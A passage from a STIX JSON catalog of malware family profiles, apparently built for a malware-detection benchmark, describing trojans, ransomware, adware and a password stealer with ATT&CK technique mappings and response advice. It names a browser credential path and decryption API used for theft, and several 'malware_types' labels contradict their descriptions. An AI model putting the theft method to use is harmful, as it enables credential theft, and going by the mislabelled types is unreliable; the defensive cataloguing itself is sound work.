      "description": "<h3>Executive Summary</h3>\nGentromal (often displayed as Trojan.Gentromal or Generic.Gentromal) is a broad, machine-generated heuristic detection signature utilized by numerous antivirus engines. It does not identify a specific, named malware family. Instead, it acts as a classification indicating that a file or process exhibits suspicious behavioral characteristics or code structures that strongly correlate with known Trojans or downloaders.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nA Gentromal alert typically fires when an unknown file triggers a combination of behavioral rules during dynamic analysis (sandboxing) or heuristic static scanning. Common triggers include:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed, encrypted, or obfuscated, indicating an attempt to hide its true payload from static analysis tools.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files from untrusted IPs.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed by security researchers.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nWhile a generic detection lacks the precise context of a known family, a Gentromal alert is a severe security event. It frequently indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads (like ransomware).</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated, advanced malware sandbox (e.g., Cuckoo, Any.Run) to monitor its full execution lifecycle, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Take the full file hash associated with the alert and query it against threat intelligence platforms (like VirusTotal) to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gentromal",
        "Heur:Trojan.Win32.Generic",
        "Suspicious.Gentromal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gentromal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gentromal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a56e2fe-3daf-57ad-b288-af25dfa78362",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9bdbcd1-fc7b-5869-a1cd-04a0e7554553",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gentromal exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14b2d0a9-e2da-5ffe-9e4c-899fd47c439c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9bdbcd1-fc7b-5869-a1cd-04a0e7554553",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gentromal exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0011e43f-5122-5a23-b5ec-525a2abe4661",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9bdbcd1-fc7b-5869-a1cd-04a0e7554553",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gentromal exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--200ecfb3-07c1-5cd4-a45e-08fb94802d91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genx",
      "description": "Trojan:Win32/Genx is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genx</b><br>To an end-user, a Genx infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genx is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genx is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genx frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genx reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genx"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54ade631-7611-5239-93ae-5d940d48e493",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--200ecfb3-07c1-5cd4-a45e-08fb94802d91",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genx exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efa213e7-6f4f-5928-ac43-52844824c612",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--200ecfb3-07c1-5cd4-a45e-08fb94802d91",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genx exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8056dd31-60ac-5117-b8d8-fde5e78b745e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--200ecfb3-07c1-5cd4-a45e-08fb94802d91",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genx exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8020592-bf36-584e-8ba8-123cc55d0c9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--200ecfb3-07c1-5cd4-a45e-08fb94802d91",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genx exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d800539-868d-554b-b635-96e1cbac354b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--200ecfb3-07c1-5cd4-a45e-08fb94802d91",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genx exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7bba64b-4af9-5db2-9912-c2850b08723d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gepys",
      "description": "Trojan:Win32/Gepys (cataloged across security vendor telemetry as Trojan.Gepys, Downloader.Gepys, or Win32/Gepys) is an aggressive Windows trojan downloader and secondary loader platform frequently observed deploying STOP/DJVU ransomware, Vidar infostealers, and RedLine stealers. Distributed via trojanized software packages, cracked utilities, and malicious torrent repacks, Gepys acts as a critical staging mechanism. Upon execution, Gepys creates temporary staging directories in %AppData% or %Temp%, executes anti-sandbox timing loops to evade heuristic dynamic analysis, and communicates with remote command-and-control servers over encrypted HTTP channels. The malware downloads encrypted secondary payloads, decrypts them in memory, and leverages process injection into legitimate Windows binaries (such as explorer.exe or svchost.exe) to execute destructive crimeware without writing raw binaries to disk. (Observed samples in benchmark: 1,587)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Gepys",
        "Trojan:Win32/Gepys",
        "Downloader.Gepys",
        "Trojan.Gepys",
        "Win32/Gepys",
        "Gepys Loader",
        "Trojan:Win32/Gepys.DSB!MTB"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gepys",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gepys"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d38b88e-ec04-525d-9c8b-d914eb168bff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7bba64b-4af9-5db2-9912-c2850b08723d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gepys exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff1f7023-0e82-5505-a8a1-c37317df5f7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7bba64b-4af9-5db2-9912-c2850b08723d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gepys exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5084b8c8-f650-5786-8a32-99efa82949c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7bba64b-4af9-5db2-9912-c2850b08723d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gepys exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ad71298-ae79-5454-9516-8e9cd5b4d16b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7bba64b-4af9-5db2-9912-c2850b08723d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gepys exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19e6dc28-c736-53db-9486-dbbea0036ad3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7bba64b-4af9-5db2-9912-c2850b08723d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gepys exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43db6140-2d50-5473-b6f3-9a5012322829",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7bba64b-4af9-5db2-9912-c2850b08723d",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gepys exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--516d2571-f6d7-5571-ba2a-ad2f39197db3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Geral",
      "description": "Geral (classified across antimalware research as Ransom:Win32/Geral, Trojan-Ransom.Win32.Geral, and Win32/Geral) is an aggressive Windows crypto-ransomware family designed to execute high-speed file encryption. Distributed through targeted phishing emails and compromised remote access endpoints, Geral terminates office and productivity applications before encrypting files using AES-256 in CBC mode. It appends .geral to encrypted files and drops ransom notes titled HOW_TO_RESTORE_GERAL.txt instructing victims to establish contact with the extortionists via Tor or encrypted messaging. Geral executes shell commands to purge Volume Shadow Copies, wipe system state backups, and disable automatic Windows startup repair. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Geral",
        "Trojan-Ransom.Win32.Geral",
        "Win32/Geral",
        "Geral Ransomware",
        "Ransom.Geral"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Geral",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/geral"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7ec5cdf-09b2-5858-b4eb-b02e956bf2cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--516d2571-f6d7-5571-ba2a-ad2f39197db3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geral exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--887b7886-3422-564f-b491-25ec4ed8435e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--516d2571-f6d7-5571-ba2a-ad2f39197db3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geral exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--292c1928-128a-5fbe-aea6-6000946abfaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--516d2571-f6d7-5571-ba2a-ad2f39197db3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geral exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fa88781-5bbf-59ba-9c81-7db9246a47f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--516d2571-f6d7-5571-ba2a-ad2f39197db3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geral exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b57aa44f-5989-54bc-96ee-0ff047ff5821",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--516d2571-f6d7-5571-ba2a-ad2f39197db3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Geral exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4fcb1c65-0d02-54d0-b9cd-6cb3461a7663",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Getnow",
      "description": "<h3>Executive Summary</h3>\nGetnow is a prevalent family of Adware and Potentially Unwanted Programs (PUPs), frequently operating as a deceptive downloader or \"download manager.\" It is engineered to aggressively monetize an infected user's web browsing activity by injecting intrusive advertisements, altering browser configurations, and tricking users into installing additional, unwanted software payloads.\n\n<h3>Distribution and Technical Behavior</h3>\nGetnow is almost exclusively distributed via deceptive software bundling on freeware download sites. It often masquerades as a necessary \"Download Manager\" or \"Setup Assistant\" required to obtain a desired, legitimate piece of software.\n\nOnce executed, Getnow integrates deeply with the operating system and web browsers. Its core behaviors include:\n<ul>\n<li><strong>Deceptive Installation (Dropping):</strong> During its execution, Getnow presents confusing EULAs and pre-checked boxes to silently install secondary adware, browser hijackers, and potentially severe malware alongside the originally requested application.</li>\n<li><strong>Browser Hijacking:</strong> It forcibly alters the default search engine, homepage, and new tab settings to redirect all traffic through an affiliate-linked search portal controlled by the adware operators.</li>\n<li><strong>Traffic Interception:</strong> Getnow frequently installs malicious browser extensions to intercept unencrypted web traffic, overlaying legitimate websites with pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Getnow is primarily categorized as adware, its function as a deceptive downloader makes it a significant operational risk. The secondary software it installs is frequently served by low-reputation affiliate networks, dramatically increasing the likelihood of subsequent \"malvertising\" attacks that can lead to devastating ransomware or info-stealer infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Getnow executables, any dropped secondary payloads, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved \"download managers\" or untrusted software installers.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Getnow",
        "PUP.Getnow",
        "Downloader.Getnow"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Getnow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/getnow"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86f2256e-5b29-524d-bc62-6ce465f16f18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fcb1c65-0d02-54d0-b9cd-6cb3461a7663",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Getnow exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56d3b62e-a49e-5e9a-b80c-83fe13495531",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fcb1c65-0d02-54d0-b9cd-6cb3461a7663",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Getnow exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44b2b292-8411-59ef-bcbd-1b6883ace5ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fcb1c65-0d02-54d0-b9cd-6cb3461a7663",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Getnow exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc99e0bb-0d40-542c-9732-9acd5c74c0ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fcb1c65-0d02-54d0-b9cd-6cb3461a7663",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Getnow exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fd262e47-e7ca-5b02-b716-f68a5fb22606",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ggdoor",
      "description": "<h3>Executive Summary</h3>\nGGDoor is a dangerous Backdoor Trojan engineered to provide remote attackers with covert, persistent, and unfettered access to compromised Windows systems. Unlike highly automated botnets, GGDoor is often utilized in targeted attacks, allowing the threat actor to manually explore the infected network, steal sensitive data, and manipulate the system as if they were sitting directly at the keyboard.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGGDoor is primarily distributed via targeted spear-phishing campaigns (often utilizing weaponized Office documents) or deployed as a secondary payload by initial access brokers who have already breached the perimeter via exposed RDP ports or VPN vulnerabilities.\n\nOnce the backdoor is executed on the victim's machine, it establishes a deep foothold:\n<ul>\n<li><strong>Covert C2 Communication:</strong> GGDoor establishes a persistent, encrypted connection to its command-and-control (C2) server. It typically operates over standard web ports (HTTPS/443) or utilizes customized protocols designed to blend in with legitimate enterprise traffic and bypass edge firewalls.</li>\n<li><strong>Interactive Shell and File Manipulation:</strong> The backdoor provides the attacker with an interactive remote shell (cmd.exe or PowerShell), allowing them to execute arbitrary commands with the privileges of the infected user. The attacker can silently browse the file system, upload exfiltration tools, or download proprietary data.</li>\n<li><strong>System Manipulation:</strong> GGDoor allows the attacker to view and terminate running processes, edit the Windows Registry, and manipulate Windows Services, enabling them to disable local antivirus solutions or install further persistence mechanisms.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA GGDoor infection is a critical security incident. The malware's extensive capabilities mean that the compromised endpoint is fully under the control of the attacker. This leads directly to the loss of intellectual property, compromised user credentials, and the near certainty of lateral movement across the enterprise network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's network connection immediately. This halts the connection to the C2 server and prevents active data exfiltration or lateral movement.</li>\n<li><strong>Forensic Analysis:</strong> Perform a deep forensic review of the endpoint. Because the attacker had interactive access, responders must determine exactly what commands were executed via the backdoor to understand the full scope of the breach.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any stored in browsers or password managers, are fully compromised. Initiate an immediate, organization-wide password reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.GGDoor",
        "Trojan.GGDoor",
        "Win32/GGDoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ggdoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ggdoor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16633dc8-d605-5d89-8706-051da5563a02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd262e47-e7ca-5b02-b716-f68a5fb22606",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggdoor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecd90bca-4762-50e0-b52f-69399dd92972",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd262e47-e7ca-5b02-b716-f68a5fb22606",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggdoor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86c3bb31-90a8-5a78-a520-f6bedea88fe0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd262e47-e7ca-5b02-b716-f68a5fb22606",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggdoor exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdc3f95a-0a13-5bfe-9293-3a422691fd77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd262e47-e7ca-5b02-b716-f68a5fb22606",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggdoor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f244f617-e869-57e5-8a7a-9c6dee2f1e2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ggpass",
      "description": "TrojanSpy:Win32/Ggpass (also related to broader 'Password Stealer' heuristics) is a specialized information-stealing trojan designed explicitly to harvest credentials, session tokens, and autofill data from infected endpoints, with a particular focus on extracting saved passwords from popular web browsers (Chrome, Firefox, Edge, etc.) and email clients.<br><br><b>Understanding Ggpass</b><br>To an infected user, Ggpass operates entirely in the background, leaving no visible trace of its activity. The first sign of infection is usually a compromised online account (e.g., unauthorized access to an email, social media, or banking portal). For a security analyst, Ggpass represents an immediate credential compromise event. It does not wait for the user to type their password (like a keylogger); instead, it actively queries the local databases where browsers securely store passwords.<br><br><b>Execution and Theft Mechanics</b><br>Ggpass is typically distributed via phishing emails or bundled with pirated software (`T1204.002`). Upon execution, it does not usually bother with complex persistence mechanisms, as its goal is a rapid 'smash and grab'. It immediately targets the specific file paths where browsers store credentials (e.g., `%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Login Data`) (`T1555.003`). Because modern browsers encrypt these SQLite databases, Ggpass utilizes native Windows APIs (like `CryptUnprotectData`) to decrypt the passwords locally on the victim's machine, using the victim's own Windows session context 